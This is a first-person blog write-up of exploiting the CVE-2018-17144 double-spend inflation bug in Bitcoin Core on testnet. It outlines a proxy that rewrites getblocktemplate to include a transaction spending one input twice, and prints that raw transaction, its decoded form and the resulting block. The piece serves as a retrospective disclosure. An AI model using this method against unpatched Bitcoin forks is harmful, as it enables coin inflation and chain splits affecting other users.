Overview

On the 27th of Sept. 2018, I exploited the now known CVE-2018–17144 bug within Bitcoin Core on the Bitcoin Testnet which resulted in creating new Bitcoin << out of thin air >>.

Even though this occurred over 5 months ago with very little trace of it left today, I decided to provide a guide on how I accomplished this.  It was fun and emotional for me at the time to split a blockchain, even if only the bitcoin testnet :-)

Note
This was also covered by Jimmy Song on Hackernoon.

Background

More information on the CVE-2018–17144 bug is detailed here, enabling miners to bypass some mempool validations for a transaction and allowing them to spend an input twice within the same transaction. As of today however, this issue should be 100% patched in the bitcoin core client, but unfortunately this was not the case at the time of exploitation. Without a doubt, there are still some networks which use a forked version the bitcoin core source code prior to this patch and are likely still vulnerable today.

The bug required a miner to mine a block, and — once disclosed and with just ONE node on thousands patched on the network — it would never be exploited by anyone, as the hashing power needed to execute such an attack would have required a significant amount of real money. The invalid block would also be instantly rejected from the patched network nodes.

In the event of the unlikely successful exploitation, patched nodes over the network would turn into an unresolved fork. Detection through analysis would unveil the drama within minutes, if not seconds.

Backward analysis proved it was never exploited at all, which demonstrates the resilience of the bitcoin network!

Details of executing the exploit

So… how was this done you might ask? Let's go through this step-by-step.

For the execution of the this exploit, I needed some mining equipment powerful enough to mine a testnet block.

Firstly, I obtained a little USB miner which I had been using for a while, and already had it running against https://testnet-faucet.mempool.co, so this was a not an issue.

I then wrote a small proxy for the Bitcoind RPC server to be put in front of a legit bitcoind API. It could be considered a sort of a MITM between bitcoind and a the mining software, as I needed to change the behaviour of the getblocktemplate API, and so gain the ability to quickly customise my chain-work by replacing the transactions with one of my choosing. At that point, according the CVE, I needed a transaction which spent the same input twice (maybe exponentially! I really had to do that, damn :-) )

Details for the transaction can be found on [blockchyper](https://api.blockcypher.com/v1/btc/test3/txs/fb7a8658ec015133e36e2cf7ddf7e8c887c3a5becec2f30f24ebfe43e72f4b59)

```javascript
$ bitcoin-cli decoderawtransaction 0100000002d9bf9d812cfc91e3ff3b7f68e85269f64e7825de0fa61ff9dde117c73b72086a010000008b483045022100e412610b2e2b8370f2eda0cf29fe19c2a4ea35191d8b42656e81bc97026b229e022046ff1df7293f8dbc3efd95b125ebf679a4a68e8de2265990ef7553f1060dc9e301410455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8ffffffffd9bf9d812cfc91e3ff3b7f68e85269f64e7825de0fa61ff9dde117c73b72086a010000008a47304402206fa6ef6c0727ecf8d40b2b4648a93b084396c9819d20a3300e83ac4d110589e8022060c78d44db1d5b5babd1629c55d8058643d11a14da933b4bc5f7a8a2a7da377301410455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8ffffffff01e00f9700000000001976a914c8b876680fef08df5278a9df92df7e30b83cbb7188ac00000000
{
  "txid": "fb7a8658ec015133e36e2cf7ddf7e8c887c3a5becec2f30f24ebfe43e72f4b59",
  "size": 403,
  "version": 1,
  "locktime": 0,
  "vin": [
    {
      "txid": "6a08723bc717e1ddf91fa60fde25784ef66952e8687f3bffe391fc2c819dbfd9",
      "vout": 1,
      "scriptSig": {
        "asm": "3045022100e412610b2e2b8370f2eda0cf29fe19c2a4ea35191d8b42656e81bc97026b229e022046ff1df7293f8dbc3efd95b125ebf679a4a68e8de2265990ef7553f1060dc9e3[ALL] 0455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8",
        "hex": "483045022100e412610b2e2b8370f2eda0cf29fe19c2a4ea35191d8b42656e81bc97026b229e022046ff1df7293f8dbc3efd95b125ebf679a4a68e8de2265990ef7553f1060dc9e301410455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8"
      },
      "sequence": 4294967295
    },
    {
      "txid": "6a08723bc717e1ddf91fa60fde25784ef66952e8687f3bffe391fc2c819dbfd9",
      "vout": 1,
      "scriptSig": {
        "asm": "304402206fa6ef6c0727ecf8d40b2b4648a93b084396c9819d20a3300e83ac4d110589e8022060c78d44db1d5b5babd1629c55d8058643d11a14da933b4bc5f7a8a2a7da3773[ALL] 0455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8",
        "hex": "47304402206fa6ef6c0727ecf8d40b2b4648a93b084396c9819d20a3300e83ac4d110589e8022060c78d44db1d5b5babd1629c55d8058643d11a14da933b4bc5f7a8a2a7da377301410455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8"
      },
      "sequence": 4294967295
    }
  ],
  "vout": [
    {
      "value": 0.09900000,
      "valueSat": 9900000,
      "n": 0,
      "scriptPubKey": {
        "asm": "OP_DUP OP_HASH160 c8b876680fef08df5278a9df92df7e30b83cbb71 OP_EQUALVERIFY OP_CHECKSIG",
        "hex": "76a914c8b876680fef08df5278a9df92df7e30b83cbb7188ac",
        "reqSigs": 1,
        "type": "pubkeyhash",
        "addresses": [
          "mypGR6pDS85nidXk3DoHZCNBuYd6WBhzgU"
        ]
      }
    }
  ]
}
```

You should still be able to obtain the transaction if you have an old testnet3 node with the forked chain data. As we can see, the outpoint `6a08723bc717e1ddf91fa60fde25784ef66952e8687f3bffe391fc2c819dbfd9:1` is being spent twice. 

The surplus target was the miner itself: I spent the illegal input in fees, so that the output was adequate to the input spent only one time.

I manually crafter the transaction using pybitcointools. I love this tool and I’m a mantainer of a fork that includes segwit, bech32, etc.

Once the getblocktemplate RPC API included this transaction, I had to wait as blocktimes on the testnet averaged at around an hour to mine a block.

The transaction was finally included in this block 00000000eba3f43a8624750f39e4520a1678c0dbdf8707bfa4854a12fbf086c5.

00000020d27652d3c0ee533313c5f8d03de810a02f9b80744dea707843197403000000002ecab671461328cf785c0eb21a51221d888fd394138a9c5c7912a2d6152f8913eaf2ab5bffff001d2cb80baf0201000000010000000000000000000000000000000000000000000000000000000000000000ffffffff23030b9515008b0000006376652d323031382d31373134342d6b6873396e650002000000ffffffff01a3edc104000000001976a9142b2399d24a9e9e35487d2f76b57d6e33e72d522f88ac000000000100000002d9bf9d812cfc91e3ff3b7f68e85269f64e7825de0fa61ff9dde117c73b72086a010000008b483045022100e412610b2e2b8370f2eda0cf29fe19c2a4ea35191d8b42656e81bc97026b229e022046ff1df7293f8dbc3efd95b125ebf679a4a68e8de2265990ef7553f1060dc9e301410455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8ffffffffd9bf9d812cfc91e3ff3b7f68e85269f64e7825de0fa61ff9dde117c73b72086a010000008a47304402206fa6ef6c0727ecf8d40b2b4648a93b084396c9819d20a3300e83ac4d110589e8022060c78d44db1d5b5babd1629c55d8058643d11a14da933b4bc5f7a8a2a7da377301410455fd1c1a6cbfb25b5bba1cf6f850de00d79852be3de51e50c0da683613303c533d079e147dfe07ce4d40df2b776b35184698d14fa107a61e0976b0d9416880c8ffffffff01e00f9700000000001976a914c8b876680fef08df5278a9df92df7e30b83cbb7188ac00000000
{
    “
    hash”: “00000000 eba3f43a8624750f39e4520a1678c0dbdf8707bfa4854a12fbf086c5”,
    “confirmations”: -1,
    “strippedsize”: 604,
    “size”: 604,
    “weight”: 2416,
    “height”: 1414411,
    “version”: 536870912,
    “versionHex”: “20000000”,
    “merkleroot”: “13892 f15d6a212795c9c8a1394d38f881d22511ab20e5c78cf28134671b6ca2e”,
    “tx”: [“b132a87be0aa765af559fa051f38add8b093932d64413f6b7e4cd3bd07572905”, “fb7a8658ec015133e36e2cf7ddf7e8c887c3a5becec2f30f24ebfe43e72f4b59”],
    “time”: 1537995498,
    “mediantime”: 1537989484,
    “nonce”: 2936780844,
    “bits”: “1 d00ffff”,
    “difficulty”: 1,
    “chainwork”: “0000000000000000000000000000000000000000000000 c5f3b40e8058b8e892”,
    “nTx”: 2,
    “previousblockhash”: “00000000037419437870 ea4d74809b2fa010e83dd0f8c5133353eec0d35276d2”
}

And boom, the network split :-)

Some nodes had already been patched, and as expected, it didn’t take a lot of time before someone noticed.

To attribute it, I’ve left an imprint in the coinbase transaction.

$ bitcoin-cli decoderawtransaction 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff23030b9515008b0000006376652d323031382d31373134342d6b6873396e650002000000ffffffff01a3edc104000000001976a9142b2399d24a9e9e35487d2f76b57d6e33e72d522f88ac00000000
{
  "txid": "b132a87be0aa765af559fa051f38add8b093932d64413f6b7e4cd3bd07572905",
  "size": 120,
  "version": 1,
  "locktime": 0,
  "vin": [
    {
      "coinbase": "030b9515008b0000006376652d323031382d31373134342d6b6873396e650002000000",
      "sequence": 4294967295
    }
  ],
  "vout": [
    {
      "value": 0.79818147,
      "valueSat": 79818147,
      "n": 0,
      "scriptPubKey": {
        "asm": "OP_DUP OP_HASH160 2b2399d24a9e9e35487d2f76b57d6e33e72d522f OP_EQUALVERIFY OP_CHECKSIG",
        "hex": "76a9142b2399d24a9e9e35487d2f76b57d6e33e72d522f88ac",
        "reqSigs": 1,
        "type": "pubkeyhash",
        "addresses": [
          "mjT3ztpLGy6Cu13tHbr8zL7pHCjS6VRsdP"
        ]
      }
    }
  ]
}

The Coinbase:

>>> binascii.unhexlify(‘030b9515008b0000006376652d323031382d31373134342d6b6873396e650002000000’)b’\x03\x0b\x95\x15\x00\x8b\x00\x00\x00cve-2018–17144-khs9ne\x00\x02\x00\x00\x00'
>>> 2018–17144-khs9ne <- Oh look! it's me :-) https://twitter.com/khs9ne

Conclusion

So, that is my story, the block is lost, as it should be it was orphaned from the network majority, after splitting it for hours.

Some miners were still vulnerable at the time, and so they continued to mine on the invalid chain. At some point someone had to turn some serious hashing power on for mining on the  testnet to make up a few hundreds blocks and reorg to the honest chain :-)

References